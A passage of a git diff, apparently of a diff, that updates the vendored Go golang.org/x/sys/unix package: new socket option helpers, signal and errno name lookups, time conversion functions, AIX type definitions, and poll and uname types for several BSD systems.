-
--const (
-- darwin64Bit = runtime.GOOS == "darwin" && sizeofPtr == 8
-- dragonfly64Bit = runtime.GOOS == "dragonfly" && sizeofPtr == 8
-- netbsd32Bit = runtime.GOOS == "netbsd" && sizeofPtr == 4
-- solaris64Bit = runtime.GOOS == "solaris" && sizeofPtr == 8
--)
--
- // Do the interface allocations only once for common
- // Errno values.
- var (
-@@ -34,6 +28,11 @@ var (
- errENOENT error = syscall.ENOENT
- )
-
-+var (
-+ signalNameMapOnce sync.Once
-+ signalNameMap map[string]syscall.Signal
-+)
-+
- // errnoErr returns common boxed Errno values, to prevent
- // allocations at runtime.
- func errnoErr(e syscall.Errno) error {
-@@ -50,6 +49,50 @@ func errnoErr(e syscall.Errno) error {
- return e
- }
-
-+// ErrnoName returns the error name for error number e.
-+func ErrnoName(e syscall.Errno) string {
-+ i := sort.Search(len(errorList), func(i int) bool {
-+ return errorList[i].num >= e
-+ })
-+ if i < len(errorList) && errorList[i].num == e {
-+ return errorList[i].name
-+ }
-+ return ""
-+}
-+
-+// SignalName returns the signal name for signal number s.
-+func SignalName(s syscall.Signal) string {
-+ i := sort.Search(len(signalList), func(i int) bool {
-+ return signalList[i].num >= s
-+ })
-+ if i < len(signalList) && signalList[i].num == s {
-+ return signalList[i].name
-+ }
-+ return ""
-+}
-+
-+// SignalNum returns the syscall.Signal for signal named s,
-+// or 0 if a signal with such name is not found.
-+// The signal name should start with "SIG".
-+func SignalNum(s string) syscall.Signal {
-+ signalNameMapOnce.Do(func() {
-+ signalNameMap = make(map[string]syscall.Signal, len(signalList))
-+ for _, signal := range signalList {
-+ signalNameMap[signal.name] = signal.num
-+ }
-+ })
-+ return signalNameMap[s]
-+}
-+
-+// clen returns the index of the first NULL byte in n or len(n) if n contains no NULL byte.
-+func clen(n []byte) int {
-+ i := bytes.IndexByte(n, 0)
-+ if i == -1 {
-+ i = len(n)
-+ }
-+ return i
-+}
-+
- // Mmap manager, for use by operating system-specific implementations.
-
- type mmapper struct {
-@@ -138,16 +181,19 @@ func Write(fd int, p []byte) (n int, err error) {
- // creation of IPv6 sockets to return EAFNOSUPPORT.
- var SocketDisableIPv6 bool
-
-+// Sockaddr represents a socket address.
- type Sockaddr interface {
- sockaddr() (ptr unsafe.Pointer, len _Socklen, err error) // lowercase; only we can define Sockaddrs
- }
-
-+// SockaddrInet4 implements the Sockaddr interface for AF_INET type sockets.
- type SockaddrInet4 struct {
- Port int
- Addr [4]byte
- raw RawSockaddrInet4
- }
-
-+// SockaddrInet6 implements the Sockaddr interface for AF_INET6 type sockets.
- type SockaddrInet6 struct {
- Port int
- ZoneId uint32
-@@ -155,6 +201,7 @@ type SockaddrInet6 struct {
- raw RawSockaddrInet6
- }
-
-+// SockaddrUnix implements the Sockaddr interface for AF_UNIX type sockets.
- type SockaddrUnix struct {
- Name string
- raw RawSockaddrUnix
-@@ -182,7 +229,14 @@ func Getpeername(fd int) (sa Sockaddr, err error) {
- if err = getpeername(fd, &rsa, &len); err != nil {
- return
- }
-- return anyToSockaddr(&rsa)
-+ return anyToSockaddr(fd, &rsa)
-+}
-+
-+func GetsockoptByte(fd, level, opt int) (value byte, err error) {
-+ var n byte
-+ vallen := _Socklen(1)
-+ err = getsockopt(fd, level, opt, unsafe.Pointer(&n), &vallen)
-+ return n, err
- }
-
- func GetsockoptInt(fd, level, opt int) (value int, err error) {
-@@ -192,6 +246,61 @@ func GetsockoptInt(fd, level, opt int) (value int, err error) {
- return int(n), err
- }
-
-+func GetsockoptInet4Addr(fd, level, opt int) (value [4]byte, err error) {
-+ vallen := _Socklen(4)
-+ err = getsockopt(fd, level, opt, unsafe.Pointer(&value[0]), &vallen)
-+ return value, err
-+}
-+
-+func GetsockoptIPMreq(fd, level, opt int) (*IPMreq, error) {
-+ var value IPMreq
-+ vallen := _Socklen(SizeofIPMreq)
-+ err := getsockopt(fd, level, opt, unsafe.Pointer(&value), &vallen)
-+ return &value, err
-+}
-+
-+func GetsockoptIPv6Mreq(fd, level, opt int) (*IPv6Mreq, error) {
-+ var value IPv6Mreq
-+ vallen := _Socklen(SizeofIPv6Mreq)
-+ err := getsockopt(fd, level, opt, unsafe.Pointer(&value), &vallen)
-+ return &value, err
-+}
-+
-+func GetsockoptIPv6MTUInfo(fd, level, opt int) (*IPv6MTUInfo, error) {
-+ var value IPv6MTUInfo
-+ vallen := _Socklen(SizeofIPv6MTUInfo)
-+ err := getsockopt(fd, level, opt, unsafe.Pointer(&value), &vallen)
-+ return &value, err
-+}
-+
-+func GetsockoptICMPv6Filter(fd, level, opt int) (*ICMPv6Filter, error) {
-+ var value ICMPv6Filter
-+ vallen := _Socklen(SizeofICMPv6Filter)
-+ err := getsockopt(fd, level, opt, unsafe.Pointer(&value), &vallen)
-+ return &value, err
-+}
-+
-+func GetsockoptLinger(fd, level, opt int) (*Linger, error) {
-+ var linger Linger
-+ vallen := _Socklen(SizeofLinger)
-+ err := getsockopt(fd, level, opt, unsafe.Pointer(&linger), &vallen)
-+ return &linger, err
-+}
-+
-+func GetsockoptTimeval(fd, level, opt int) (*Timeval, error) {
-+ var tv Timeval
-+ vallen := _Socklen(unsafe.Sizeof(tv))
-+ err := getsockopt(fd, level, opt, unsafe.Pointer(&tv), &vallen)
-+ return &tv, err
-+}
-+
-+func GetsockoptUint64(fd, level, opt int) (value uint64, err error) {
-+ var n uint64
-+ vallen := _Socklen(8)
-+ err = getsockopt(fd, level, opt, unsafe.Pointer(&n), &vallen)
-+ return n, err
-+}
-+
- func Recvfrom(fd int, p []byte, flags int) (n int, from Sockaddr, err error) {
- var rsa RawSockaddrAny
- var len _Socklen = SizeofSockaddrAny
-@@ -199,7 +308,7 @@ func Recvfrom(fd int, p []byte, flags int) (n int, from Sockaddr, err error) {
- return
- }
- if rsa.Addr.Family != AF_UNSPEC {
-- from, err = anyToSockaddr(&rsa)
-+ from, err = anyToSockaddr(fd, &rsa)
- }
- return
- }
-@@ -242,13 +351,21 @@ func SetsockoptLinger(fd, level, opt int, l *Linger) (err error) {
- }
-
- func SetsockoptString(fd, level, opt int, s string) (err error) {
-- return setsockopt(fd, level, opt, unsafe.Pointer(&[]byte(s)[0]), uintptr(len(s)))
-+ var p unsafe.Pointer
-+ if len(s) > 0 {
-+ p = unsafe.Pointer(&[]byte(s)[0])
-+ }
-+ return setsockopt(fd, level, opt, p, uintptr(len(s)))
- }
-
- func SetsockoptTimeval(fd, level, opt int, tv *Timeval) (err error) {
- return setsockopt(fd, level, opt, unsafe.Pointer(tv), unsafe.Sizeof(*tv))
- }
-
-+func SetsockoptUint64(fd, level, opt int, value uint64) (err error) {
-+ return setsockopt(fd, level, opt, unsafe.Pointer(&value), 8)
-+}
-+
- func Socket(domain, typ, proto int) (fd int, err error) {
- if domain == AF_INET6 && SocketDisableIPv6 {
- return -1, EAFNOSUPPORT
-@@ -267,13 +384,6 @@ func Socketpair(domain, typ, proto int) (fd [2]int, err error) {
- return
- }
-
--func Sendfile(outfd int, infd int, offset *int64, count int) (written int, err error) {
-- if raceenabled {
-- raceReleaseMerge(unsafe.Pointer(&ioSync))
-- }
-- return sendfile(outfd, infd, offset, count)
--}
--
- var ioSync int64
-
- func CloseOnExec(fd int) { fcntl(fd, F_SETFD, FD_CLOEXEC) }
-@@ -291,3 +401,31 @@ func SetNonblock(fd int, nonblocking bool) (err error) {
- _, err = fcntl(fd, F_SETFL, flag)
- return err
- }
-+
-+// Exec calls execve(2), which replaces the calling executable in the process
-+// tree. argv0 should be the full path to an executable ("/bin/ls") and the
-+// executable name should also be the first argument in argv (["ls", "-l"]).
-+// envv are the environment variables that should be passed to the new
-+// process (["USER=go", "PWD=/tmp"]).
-+func Exec(argv0 string, argv []string, envv []string) error {
-+ return syscall.Exec(argv0, argv, envv)
-+}
-+
-+// Lutimes sets the access and modification times tv on path. If path refers to
-+// a symlink, it is not dereferenced and the timestamps are set on the symlink.
-+// If tv is nil, the access and modification times are set to the current time.
-+// Otherwise tv must contain exactly 2 elements, with access time as the first
-+// element and modification time as the second element.
-+func Lutimes(path string, tv []Timeval) error {
-+ if tv == nil {
-+ return UtimesNanoAt(AT_FDCWD, path, nil, AT_SYMLINK_NOFOLLOW)
-+ }
-+ if len(tv) != 2 {
-+ return EINVAL
-+ }
-+ ts := []Timespec{
-+ NsecToTimespec(TimevalToNsec(tv[0])),
-+ NsecToTimespec(TimevalToNsec(tv[1])),
-+ }
-+ return UtimesNanoAt(AT_FDCWD, path, ts, AT_SYMLINK_NOFOLLOW)
-+}
-diff --git a/vendor/golang.org/x/sys/unix/syscall_unix_gc.go b/vendor/golang.org/x/sys/unix/syscall_unix_gc.go
-index 4cb8e8ed..1c70d1b6 100644
---- a/vendor/golang.org/x/sys/unix/syscall_unix_gc.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_unix_gc.go
-@@ -3,7 +3,7 @@
- // license that can be found in the LICENSE file.
-
- // +build darwin dragonfly freebsd linux netbsd openbsd solaris
--// +build !gccgo
-+// +build !gccgo,!ppc64le,!ppc64
-
- package unix
-
-diff --git a/vendor/golang.org/x/sys/unix/syscall_unix_gc.go b/vendor/golang.org/x/sys/unix/syscall_unix_gc_ppc64x.go
-similarity index 51%
-copy from vendor/golang.org/x/sys/unix/syscall_unix_gc.go
-copy to vendor/golang.org/x/sys/unix/syscall_unix_gc_ppc64x.go
-index 4cb8e8ed..86dc765a 100644
---- a/vendor/golang.org/x/sys/unix/syscall_unix_gc.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_unix_gc_ppc64x.go
-@@ -1,15 +1,24 @@
--// Copyright 2016 The Go Authors. All rights reserved.
-+// Copyright 2018 The Go Authors. All rights reserved.
- // Use of this source code is governed by a BSD-style
- // license that can be found in the LICENSE file.
-
--// +build darwin dragonfly freebsd linux netbsd openbsd solaris
-+// +build linux
-+// +build ppc64le ppc64
- // +build !gccgo
-
- package unix
-
- import "syscall"
-
--func Syscall(trap, a1, a2, a3 uintptr) (r1, r2 uintptr, err syscall.Errno)
--func Syscall6(trap, a1, a2, a3, a4, a5, a6 uintptr) (r1, r2 uintptr, err syscall.Errno)
--func RawSyscall(trap, a1, a2, a3 uintptr) (r1, r2 uintptr, err syscall.Errno)
--func RawSyscall6(trap, a1, a2, a3, a4, a5, a6 uintptr) (r1, r2 uintptr, err syscall.Errno)
-+func Syscall(trap, a1, a2, a3 uintptr) (r1, r2 uintptr, err syscall.Errno) {
-+ return syscall.Syscall(trap, a1, a2, a3)
-+}
-+func Syscall6(trap, a1, a2, a3, a4, a5, a6 uintptr) (r1, r2 uintptr, err syscall.Errno) {
-+ return syscall.Syscall6(trap, a1, a2, a3, a4, a5, a6)
-+}
-+func RawSyscall(trap, a1, a2, a3 uintptr) (r1, r2 uintptr, err syscall.Errno) {
-+ return syscall.RawSyscall(trap, a1, a2, a3)
-+}
-+func RawSyscall6(trap, a1, a2, a3, a4, a5, a6 uintptr) (r1, r2 uintptr, err syscall.Errno) {
-+ return syscall.RawSyscall6(trap, a1, a2, a3, a4, a5, a6)
-+}
-diff --git a/vendor/golang.org/x/sys/unix/timestruct.go b/vendor/golang.org/x/sys/unix/timestruct.go
-new file mode 100644
-index 00000000..4a672f56
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/timestruct.go
-@@ -0,0 +1,82 @@
-+// Copyright 2017 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris
-+
-+package unix
-+
-+import "time"
-+
-+// TimespecToNsec converts a Timespec value into a number of
-+// nanoseconds since the Unix epoch.
-+func TimespecToNsec(ts Timespec) int64 { return int64(ts.Sec)*1e9 + int64(ts.Nsec) }
-+
-+// NsecToTimespec takes a number of nanoseconds since the Unix epoch
-+// and returns the corresponding Timespec value.
-+func NsecToTimespec(nsec int64) Timespec {
-+ sec := nsec / 1e9
-+ nsec = nsec % 1e9
-+ if nsec < 0 {
-+ nsec += 1e9
-+ sec--
-+ }
-+ return setTimespec(sec, nsec)
-+}
-+
-+// TimeToTimespec converts t into a Timespec.
-+// On some 32-bit systems the range of valid Timespec values are smaller
-+// than that of time.Time values. So if t is out of the valid range of
-+// Timespec, it returns a zero Timespec and ERANGE.
-+func TimeToTimespec(t time.Time) (Timespec, error) {
-+ sec := t.Unix()
-+ nsec := int64(t.Nanosecond())
-+ ts := setTimespec(sec, nsec)
-+
-+ // Currently all targets have either int32 or int64 for Timespec.Sec.
-+ // If there were a new target with floating point type for it, we have
-+ // to consider the rounding error.
-+ if int64(ts.Sec) != sec {
-+ return Timespec{}, ERANGE
-+ }
-+ return ts, nil
-+}
-+
-+// TimevalToNsec converts a Timeval value into a number of nanoseconds
-+// since the Unix epoch.
-+func TimevalToNsec(tv Timeval) int64 { return int64(tv.Sec)*1e9 + int64(tv.Usec)*1e3 }
-+
-+// NsecToTimeval takes a number of nanoseconds since the Unix epoch
-+// and returns the corresponding Timeval value.
-+func NsecToTimeval(nsec int64) Timeval {
-+ nsec += 999 // round up to microsecond
-+ usec := nsec % 1e9 / 1e3
-+ sec := nsec / 1e9
-+ if usec < 0 {
-+ usec += 1e6
-+ sec--
-+ }
-+ return setTimeval(sec, usec)
-+}
-+
-+// Unix returns ts as the number of seconds and nanoseconds elapsed since the
-+// Unix epoch.
-+func (ts *Timespec) Unix() (sec int64, nsec int64) {
-+ return int64(ts.Sec), int64(ts.Nsec)
-+}
-+
-+// Unix returns tv as the number of seconds and nanoseconds elapsed since the
-+// Unix epoch.
-+func (tv *Timeval) Unix() (sec int64, nsec int64) {
-+ return int64(tv.Sec), int64(tv.Usec) * 1000
-+}
-+
-+// Nano returns ts as the number of nanoseconds elapsed since the Unix epoch.
-+func (ts *Timespec) Nano() int64 {
-+ return int64(ts.Sec)*1e9 + int64(ts.Nsec)
-+}
-+
-+// Nano returns tv as the number of nanoseconds elapsed since the Unix epoch.
-+func (tv *Timeval) Nano() int64 {
-+ return int64(tv.Sec)*1e9 + int64(tv.Usec)*1000
-+}
-diff --git a/vendor/golang.org/x/sys/unix/types_netbsd.go b/vendor/golang.org/x/sys/unix/types_aix.go
-similarity index 53%
-copy from vendor/golang.org/x/sys/unix/types_netbsd.go
-copy to vendor/golang.org/x/sys/unix/types_aix.go
-index cb95c80a..40d2beed 100644
---- a/vendor/golang.org/x/sys/unix/types_netbsd.go
-+++ b/vendor/golang.org/x/sys/unix/types_aix.go
-@@ -1,11 +1,12 @@
--// Copyright 2009 The Go Authors. All rights reserved.
-+// Copyright 2018 The Go Authors. All rights reserved.
- // Use of this source code is governed by a BSD-style
- // license that can be found in the LICENSE file.
-
- // +build ignore
-+// +build aix
-
- /*
--Input to cgo -godefs. See README.md
-+Input to cgo -godefs. See also mkerrors.sh and mkall.sh
- */
-
- // +godefs map struct_in_addr [4]byte /* in_addr */
-@@ -14,44 +15,37 @@ Input to cgo -godefs. See README.md
- package unix
-
- /*
--#define KERNEL
--#include <dirent.h>
--#include <fcntl.h>
--#include <signal.h>
--#include <termios.h>
--#include <stdio.h>
--#include <unistd.h>
--#include <sys/param.h>
- #include <sys/types.h>
--#include <sys/event.h>
--#include <sys/mman.h>
--#include <sys/mount.h>
--#include <sys/ptrace.h>
--#include <sys/resource.h>
--#include <sys/select.h>
--#include <sys/signal.h>
--#include <sys/socket.h>
--#include <sys/stat.h>
--#include <sys/sysctl.h>
- #include <sys/time.h>
--#include <sys/uio.h>
-+#include <sys/limits.h>
- #include <sys/un.h>
--#include <sys/wait.h>
--#include <net/bpf.h>
-+#include <utime.h>
-+#include <sys/utsname.h>
-+#include <sys/poll.h>
-+#include <sys/resource.h>
-+#include <sys/stat.h>
-+#include <sys/statfs.h>
-+#include <sys/termio.h>
-+#include <sys/ioctl.h>
-+
-+#include <termios.h>
-+
- #include <net/if.h>
- #include <net/if_dl.h>
--#include <net/route.h>
- #include <netinet/in.h>
- #include <netinet/icmp6.h>
--#include <netinet/tcp.h>
-+
-+
-+#include <dirent.h>
-+#include <fcntl.h>
-
- enum {
- sizeofPtr = sizeof(void*),
- };
-
- union sockaddr_all {
-- struct sockaddr s1; // this one gets used for fields
-- struct sockaddr_in s2; // these pad it out
-+ struct sockaddr s1; // this one gets used for fields
-+ struct sockaddr_in s2; // these pad it out
- struct sockaddr_in6 s3;
- struct sockaddr_un s4;
- struct sockaddr_dl s5;
-@@ -65,14 +59,15 @@ struct sockaddr_any {
- */
- import "C"
-
--// Machine characteristics; for internal use.
-+// Machine characteristics
-
- const (
-- sizeofPtr = C.sizeofPtr
-- sizeofShort = C.sizeof_short
-- sizeofInt = C.sizeof_int
-- sizeofLong = C.sizeof_long
-- sizeofLongLong = C.sizeof_longlong
-+ SizeofPtr = C.sizeofPtr
-+ SizeofShort = C.sizeof_short
-+ SizeofInt = C.sizeof_int
-+ SizeofLong = C.sizeof_long
-+ SizeofLongLong = C.sizeof_longlong
-+ PathMax = C.PATH_MAX
- )
-
- // Basic types
-@@ -84,32 +79,50 @@ type (
- _C_long_long C.longlong
- )
-
-+type off64 C.off64_t
-+type off C.off_t
-+type Mode_t C.mode_t
-+
- // Time
-
- type Timespec C.struct_timespec
-
- type Timeval C.struct_timeval
-
-+type Timeval32 C.struct_timeval32
-+
-+type Timex C.struct_timex
-+
-+type Time_t C.time_t
-+
-+type Tms C.struct_tms
-+
-+type Utimbuf C.struct_utimbuf
-+
-+type Timezone C.struct_timezone
-+
- // Processes
-
- type Rusage C.struct_rusage
-
--type Rlimit C.struct_rlimit
-+type Rlimit C.struct_rlimit64
-+
-+type Pid_t C.pid_t
-
- type _Gid_t C.gid_t
-
-+type dev_t C.dev_t
-+
- // Files
-
- type Stat_t C.struct_stat
-
--type Statfs_t C.struct_statfs
-+type StatxTimestamp C.struct_statx_timestamp
-
--type Flock_t C.struct_flock
-+type Statx_t C.struct_statx
-
- type Dirent C.struct_dirent
-
--type Fsid C.fsid_t
--
- // Sockets
-
- type RawSockaddrInet4 C.struct_sockaddr_in
-@@ -126,7 +139,9 @@ type RawSockaddrAny C.struct_sockaddr_any
-
- type _Socklen C.socklen_t
-
--type Linger C.struct_linger
-+type Cmsghdr C.struct_cmsghdr
-+
-+type ICMPv6Filter C.struct_icmp6_filter
-
- type Iovec C.struct_iovec
-
-@@ -134,15 +149,11 @@ type IPMreq C.struct_ip_mreq
-
- type IPv6Mreq C.struct_ipv6_mreq
-
--type Msghdr C.struct_msghdr
--
--type Cmsghdr C.struct_cmsghdr
--
--type Inet6Pktinfo C.struct_in6_pktinfo
--
- type IPv6MTUInfo C.struct_ip6_mtuinfo
-
--type ICMPv6Filter C.struct_icmp6_filter
-+type Linger C.struct_linger
-+
-+type Msghdr C.struct_msghdr
-
- const (
- SizeofSockaddrInet4 = C.sizeof_struct_sockaddr_in
-@@ -153,87 +164,74 @@ const (
- SizeofLinger = C.sizeof_struct_linger
- SizeofIPMreq = C.sizeof_struct_ip_mreq
- SizeofIPv6Mreq = C.sizeof_struct_ipv6_mreq
-+ SizeofIPv6MTUInfo = C.sizeof_struct_ip6_mtuinfo
- SizeofMsghdr = C.sizeof_struct_msghdr
- SizeofCmsghdr = C.sizeof_struct_cmsghdr
-- SizeofInet6Pktinfo = C.sizeof_struct_in6_pktinfo
-- SizeofIPv6MTUInfo = C.sizeof_struct_ip6_mtuinfo
- SizeofICMPv6Filter = C.sizeof_struct_icmp6_filter
- )
-
--// Ptrace requests
-+// Routing and interface messages
-
- const (
-- PTRACE_TRACEME = C.PT_TRACE_ME
-- PTRACE_CONT = C.PT_CONTINUE
-- PTRACE_KILL = C.PT_KILL
-+ SizeofIfMsghdr = C.sizeof_struct_if_msghdr
- )
-
--// Events (kqueue, kevent)
--
--type Kevent_t C.struct_kevent
-+type IfMsgHdr C.struct_if_msghdr
-
--// Select
-+// Misc
-
- type FdSet C.fd_set
-
--// Routing and interface messages
-+type Utsname C.struct_utsname
-
--const (
-- SizeofIfMsghdr = C.sizeof_struct_if_msghdr
-- SizeofIfData = C.sizeof_struct_if_data
-- SizeofIfaMsghdr = C.sizeof_struct_ifa_msghdr
-- SizeofIfAnnounceMsghdr = C.sizeof_struct_if_announcemsghdr
-- SizeofRtMsghdr = C.sizeof_struct_rt_msghdr
-- SizeofRtMetrics = C.sizeof_struct_rt_metrics
--)
-+type Ustat_t C.struct_ustat
-
--type IfMsghdr C.struct_if_msghdr
-+type Sigset_t C.sigset_t
-
--type IfData C.struct_if_data
-+const (
-+ AT_FDCWD = C.AT_FDCWD
-+ AT_REMOVEDIR = C.AT_REMOVEDIR
-+ AT_SYMLINK_NOFOLLOW = C.AT_SYMLINK_NOFOLLOW
-+)
-
--type IfaMsghdr C.struct_ifa_msghdr
-+// Terminal handling
-
--type IfAnnounceMsghdr C.struct_if_announcemsghdr
-+type Termios C.struct_termios
-
--type RtMsghdr C.struct_rt_msghdr
-+type Termio C.struct_termio
-
--type RtMetrics C.struct_rt_metrics
-+type Winsize C.struct_winsize
-
--type Mclpool C.struct_mclpool
-+//poll
-
--// Berkeley packet filter
-+type PollFd struct {
-+ Fd int32
-+ Events uint16
-+ Revents uint16
-+}
-
- const (
-- SizeofBpfVersion = C.sizeof_struct_bpf_version
-- SizeofBpfStat = C.sizeof_struct_bpf_stat
-- SizeofBpfProgram = C.sizeof_struct_bpf_program
-- SizeofBpfInsn = C.sizeof_struct_bpf_insn
-- SizeofBpfHdr = C.sizeof_struct_bpf_hdr
-+ POLLERR = C.POLLERR
-+ POLLHUP = C.POLLHUP
-+ POLLIN = C.POLLIN
-+ POLLNVAL = C.POLLNVAL
-+ POLLOUT = C.POLLOUT
-+ POLLPRI = C.POLLPRI
-+ POLLRDBAND = C.POLLRDBAND
-+ POLLRDNORM = C.POLLRDNORM
-+ POLLWRBAND = C.POLLWRBAND
-+ POLLWRNORM = C.POLLWRNORM
- )
-
--type BpfVersion C.struct_bpf_version
--
--type BpfStat C.struct_bpf_stat
--
--type BpfProgram C.struct_bpf_program
--
--type BpfInsn C.struct_bpf_insn
--
--type BpfHdr C.struct_bpf_hdr
--
--type BpfTimeval C.struct_bpf_timeval
-+//flock_t
-
--// Terminal handling
--
--type Termios C.struct_termios
-+type Flock_t C.struct_flock64
-
--// fchmodat-like syscalls.
-+// Statfs
-
--const (
-- AT_FDCWD = C.AT_FDCWD
-- AT_SYMLINK_NOFOLLOW = C.AT_SYMLINK_NOFOLLOW
--)
-+type Fsid_t C.struct_fsid_t
-+type Fsid64_t C.struct_fsid64_t
-
--// Sysctl
-+type Statfs_t C.struct_statfs
-
--type Sysctlnode C.struct_sysctlnode
-+const RNDGETENTCNT = 0x80045200
-diff --git a/vendor/golang.org/x/sys/unix/types_darwin.go b/vendor/golang.org/x/sys/unix/types_darwin.go
-index 415124d4..155c2e69 100644
---- a/vendor/golang.org/x/sys/unix/types_darwin.go
-+++ b/vendor/golang.org/x/sys/unix/types_darwin.go
-@@ -19,6 +19,7 @@ package unix
- #define _DARWIN_USE_64_BIT_INODE
- #include <dirent.h>
- #include <fcntl.h>
-+#include <poll.h>
- #include <signal.h>
- #include <termios.h>
- #include <unistd.h>
-@@ -38,6 +39,7 @@ package unix
- #include <sys/types.h>
- #include <sys/uio.h>
- #include <sys/un.h>
-+#include <sys/utsname.h>
- #include <sys/wait.h>
- #include <net/bpf.h>
- #include <net/if.h>
-@@ -68,14 +70,14 @@ struct sockaddr_any {
- */
- import "C"
-
--// Machine characteristics; for internal use.
-+// Machine characteristics
-
- const (
-- sizeofPtr = C.sizeofPtr
-- sizeofShort = C.sizeof_short
-- sizeofInt = C.sizeof_int
-- sizeofLong = C.sizeof_long
-- sizeofLongLong = C.sizeof_longlong
-+ SizeofPtr = C.sizeofPtr
-+ SizeofShort = C.sizeof_short
-+ SizeofInt = C.sizeof_int
-+ SizeofLong = C.sizeof_long
-+ SizeofLongLong = C.sizeof_longlong
- )
-
- // Basic types
-@@ -252,3 +254,30 @@ const (
- AT_SYMLINK_FOLLOW = C.AT_SYMLINK_FOLLOW
- AT_SYMLINK_NOFOLLOW = C.AT_SYMLINK_NOFOLLOW
- )
-+
-+// poll
-+
-+type PollFd C.struct_pollfd
-+
-+const (
-+ POLLERR = C.POLLERR
-+ POLLHUP = C.POLLHUP
-+ POLLIN = C.POLLIN
-+ POLLNVAL = C.POLLNVAL
-+ POLLOUT = C.POLLOUT
-+ POLLPRI = C.POLLPRI
-+ POLLRDBAND = C.POLLRDBAND
-+ POLLRDNORM = C.POLLRDNORM
-+ POLLWRBAND = C.POLLWRBAND
-+ POLLWRNORM = C.POLLWRNORM
-+)
-+
-+// uname
-+
-+type Utsname C.struct_utsname
-+
-+// Clockinfo
-+
-+const SizeofClockinfo = C.sizeof_struct_clockinfo
-+
-+type Clockinfo C.struct_clockinfo
-diff --git a/vendor/golang.org/x/sys/unix/types_dragonfly.go b/vendor/golang.org/x/sys/unix/types_dragonfly.go
-index 80b27781..6574f6b6 100644
---- a/vendor/golang.org/x/sys/unix/types_dragonfly.go
-+++ b/vendor/golang.org/x/sys/unix/types_dragonfly.go
-@@ -17,6 +17,7 @@ package unix
- #define KERNEL
- #include <dirent.h>
- #include <fcntl.h>
-+#include <poll.h>
- #include <signal.h>
- #include <termios.h>
- #include <stdio.h>
-@@ -34,6 +35,7 @@ package unix
- #include <sys/time.h>
- #include <sys/types.h>
- #include <sys/un.h>
-+#include <sys/utsname.h>
- #include <sys/wait.h>
- #include <net/bpf.h>
- #include <net/if.h>
-@@ -63,14 +65,14 @@ struct sockaddr_any {
- */
- import "C"
-
--// Machine characteristics; for internal use.
-+// Machine characteristics
-
- const (
-- sizeofPtr = C.sizeofPtr
-- sizeofShort = C.sizeof_short
-- sizeofInt = C.sizeof_int
-- sizeofLong = C.sizeof_long
-- sizeofLongLong = C.sizeof_longlong
-+ SizeofPtr = C.sizeofPtr
-+ SizeofShort = C.sizeof_short
-+ SizeofInt = C.sizeof_int
-+ SizeofLong = C.sizeof_long
-+ SizeofLongLong = C.sizeof_longlong
- )
-
- // Basic types
-@@ -98,23 +100,6 @@ type _Gid_t C.gid_t
-
- // Files
-
--const ( // Directory mode bits
-- S_IFMT = C.S_IFMT
-- S_IFIFO = C.S_IFIFO
-- S_IFCHR = C.S_IFCHR
-- S_IFDIR = C.S_IFDIR
-- S_IFBLK = C.S_IFBLK
-- S_IFREG = C.S_IFREG
-- S_IFLNK = C.S_IFLNK
-- S_IFSOCK = C.S_IFSOCK
-- S_ISUID = C.S_ISUID
-- S_ISGID = C.S_ISGID
-- S_ISVTX = C.S_ISVTX
-- S_IRUSR = C.S_IRUSR
-- S_IWUSR = C.S_IWUSR
-- S_IXUSR = C.S_IXUSR
--)
--
- type Stat_t C.struct_stat
-
- type Statfs_t C.struct_statfs
-@@ -125,6 +110,12 @@ type Dirent C.struct_dirent
-
- type Fsid C.struct_fsid
-
-+// File system limits
-+
-+const (
-+ PathMax = C.PATH_MAX
-+)
-+
- // Sockets
-
- type RawSockaddrInet4 C.struct_sockaddr_in
-@@ -241,9 +232,38 @@ type BpfHdr C.struct_bpf_hdr
-
- type Termios C.struct_termios
-
-+type Winsize C.struct_winsize
-+
- // fchmodat-like syscalls.
-
- const (
- AT_FDCWD = C.AT_FDCWD
- AT_SYMLINK_NOFOLLOW = C.AT_SYMLINK_NOFOLLOW
- )
-+
-+// poll
-+
-+type PollFd C.struct_pollfd
-+
-+const (
-+ POLLERR = C.POLLERR
-+ POLLHUP = C.POLLHUP
-+ POLLIN = C.POLLIN
-+ POLLNVAL = C.POLLNVAL
-+ POLLOUT = C.POLLOUT
-+ POLLPRI = C.POLLPRI
-+ POLLRDBAND = C.POLLRDBAND
-+ POLLRDNORM = C.POLLRDNORM
-+ POLLWRBAND = C.POLLWRBAND
-+ POLLWRNORM = C.POLLWRNORM
-+)
-+
-+// Uname
-+
-+type Utsname C.struct_utsname
-+
-+// Clockinfo
-+
-+const SizeofClockinfo = C.sizeof_struct_clockinfo
-+
-+type Clockinfo C.struct_clockinfo
-diff --git a/vendor/golang.org/x/sys/unix/types_freebsd.go b/vendor/golang.org/x/sys/unix/types_freebsd.go
-index 934fd7ac..c6fde424 100644
---- a/vendor/golang.org/x/sys/unix/types_freebsd.go
-+++ b/vendor/golang.org/x/sys/unix/types_freebsd.go
-@@ -14,14 +14,19 @@ Input to cgo -godefs. See README.md
- package unix
-
- /*
--#define KERNEL
-+#define _WANT_FREEBSD11_STAT 1
-+#define _WANT_FREEBSD11_STATFS 1
-+#define _WANT_FREEBSD11_DIRENT 1
-+#define _WANT_FREEBSD11_KEVENT 1
-+
- #include <dirent.h>
- #include <fcntl.h>
-+#include <poll.h>
- #include <signal.h>
- #include <termios.h>
- #include <stdio.h>
- #include <unistd.h>
--#include <sys/capability.h>
-+#include <sys/capsicum.h>
- #include <sys/event.h>
- #include <sys/mman.h>
- #include <sys/mount.h>
-@@ -35,6 +40,7 @@ package unix
- #include <sys/time.h>
- #include <sys/types.h>
- #include <sys/un.h>
-+#include <sys/utsname.h>
- #include <sys/wait.h>
- #include <net/bpf.h>
- #include <net/if.h>
-@@ -61,50 +67,6 @@ struct sockaddr_any {
- char pad[sizeof(union sockaddr_all) - sizeof(struct sockaddr)];
- };
-
--// This structure is a duplicate of stat on FreeBSD 8-STABLE.
--// See /usr/include/sys/stat.h.
--struct stat8 {
--#undef st_atimespec st_atim
--#undef st_mtimespec st_mtim
--#undef st_ctimespec st_ctim
--#undef st_birthtimespec st_birthtim
-- __dev_t st_dev;
-- ino_t st_ino;
-- mode_t st_mode;
-- nlink_t st_nlink;
-- uid_t st_uid;
-- gid_t st_gid;
-- __dev_t st_rdev;
--#if __BSD_VISIBLE
-- struct timespec st_atimespec;
-- struct timespec st_mtimespec;
-- struct timespec st_ctimespec;
--#else
